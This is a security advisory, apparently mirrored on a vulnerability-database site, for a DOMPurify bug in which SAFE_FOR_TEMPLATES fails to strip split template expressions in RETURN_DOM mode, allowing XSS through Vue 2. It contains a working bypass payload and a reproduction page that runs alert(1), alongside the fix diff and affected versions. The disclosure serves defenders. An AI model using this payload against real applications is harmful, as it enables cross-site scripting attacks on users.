DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode
Summary
| Field | Value |
|---|---|
| Severity | Medium |
| Affected | DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db) |
SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.
Technical Details
DOMPurify strips template expressions in two passes:
- Per-node — each text node is checked during the tree walk (
purify.ts:1179-1191):
// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
content = currentNode.textContent;
content = content.replace(MUSTACHE_EXPR, ' '); // {{...}} -> ' '
content = content.replace(ERB_EXPR, ' '); // <%...%> -> ' '
content = content.replace(TMPLIT_EXPR, ' '); // ${... -> ' '
currentNode.textContent = content;
}- Final string scrub — after serialization, the full HTML string is scrubbed again (
purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.
The RETURN_DOM path returns before pass #2 ever runs (purify.ts:1637-1661):
// purify.ts (simplified)
if (RETURN_DOM) {
// ... build returnNode ...
return returnNode; // <-- exits here, pass #2 never runs
}
// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:
- Parser creates:
TEXT("{")→<foo>→TEXT("{payload}")→<foo>→TEXT("}")— no single node contains{{, so pass #1 misses it <foo>is not allowed, so DOMPurify removes it but keeps surrounding text- The three text nodes are now adjacent —
.outerHTMLreads them as{{payload}}, which Vue 2 compiles and executes
Reproduce
Open the following html in any browser and alert(1) pops up.
<!DOCTYPE html>
<html>
<body>
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
<script>
var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
document.body.appendChild(dom.firstChild);
new Vue({ el: '#app' });
</script>
</body>
</html>Impact
Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.
Recommendations
Fix
normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.
if (RETURN_DOM) {
+ if (SAFE_FOR_TEMPLATES) {
+ body.normalize();
+ let html = body.innerHTML;
+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+ html = stringReplace(html, expr, ' ');
+ });
+ body.innerHTML = html;
+ }
+
if (RETURN_DOM_FRAGMENT) {
returnNode = createDocumentFragment.call(body.ownerDocument);Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | dompurify | >= 1.0.10, < 3.4.0 | 3.4.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-1289, CWE-79- Platform
- npm
- Package
dompurify- Disclosed
- 22.04.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-crv5-9vww-q3g8 - CC BY 4.0
Vulnerability history: dompurify
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 30
- First → latest
- 08.2020 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 3
- Medium 19
- Low 6
Disclosures per year
- 2020: 3
- 2021: 0
- 2022: 0
- 2023: 1
- 2024: 3
- 2025: 1
- 2026: 22
-
DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.